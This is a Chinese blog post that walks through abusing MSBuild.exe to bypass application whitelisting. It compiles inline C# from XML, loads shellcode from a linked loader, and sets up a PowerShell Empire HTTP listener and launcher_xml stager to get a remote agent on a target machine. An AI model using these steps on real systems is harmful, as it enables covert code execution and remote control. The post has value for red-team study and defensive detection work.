白名单-MSBUILD的利用

MSBUILD的利用

Posted by hmoytx on January 3, 2020

白名单-MSBUILD的利用

简介

MSBuild能在没有安装vs的环境中编译.net的工程文件,能编译一些特定格式的xml文件。
具体的可以看官方的文档:
https://docs.microsoft.com/zh-tw/visualstudio/msbuild/msbuild?view=vs-2015&redirectedfrom=MSDN

测试

首先来几个简单的案例。

编译生成可执行文件

详细的内容还是看上看的官方文档。
测试代码:

using System;

namespace ForTest
{
    class Test
    {
        static void Main()
        {
            Console.WriteLine("test!");
        }
    }
}

保存为test.cs。

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="Compile">
        <CSC Sources="test.cs" OutputAssembly="test.exe" />
    </Target>
</Project>

保存为test.csproj。
这里的文件是什么后缀无所谓,只要符合xml格式就可以进行编译。
因为msbuild没有加入环境变量,要给上全路径或者直接到对应目录下进行编译。

C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe test.csproj

编译后会在对应目录下生成一个exe文件。
运行以后会输出test。
200103_1

编译执行C#代码

将需要执行的代码嵌入在xml中,后面也是基于这个去执行payload。
来个简单的例子:

<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">  
  <!-- This simple inline task does nothing. -->  
  <UsingTask  
    TaskName="DoNothing"  
    TaskFactory="CodeTaskFactory"  
    AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v12.0.dll" >  
    <ParameterGroup />  
    <Task>  
      <Reference Include="" />  
      <Using Namespace="" />  
      <Code Type="Fragment" Language="cs">  
      </Code>  
    </Task>  
  </UsingTask>  
</Project> 

这是官方的例子,我们在

<Code></Code>

中添加需要执行的代码。

 <![CDATA[
         Console.WriteLine("test!");		
     ]]>

同样的这个文件后缀也无所谓,只要满足对应的xml语法就可以了。
200103_2

加载shellcode

通过向xml中添加内嵌代码,用来加载shellcode。
这里直接给出三好学生老师傅的代码。https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
将其中的shellcode替换掉。
200103_3
保存为何种格式无所谓,直接通过msbuild编译。
200103_4
也可以编译xml。
200103_5
可以看到已经能上线了。
200103_6

Empire

通过empire可以直接生成对应的xml文件,直接可以进行编译返回agent的操作。
先listener。

uselistener http
set Name test 
set Host http://xxx.xxx.xxx.xxx:xxxx
set Port xxxx
execute

200103_7
然后生成对应的xml文件。

usestager windows/launcher_xml
set Listener test
execute

200103_8
在靶机上执行:
200103_9
可以看到返回一个agent。
201003_10
后面可以继续用interact 命令去操作这个agent,这里不继续了。

总结

msbuild的用法还有很多水平有限,有兴趣的可以去看看一些老师傅的文章。

参考

https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/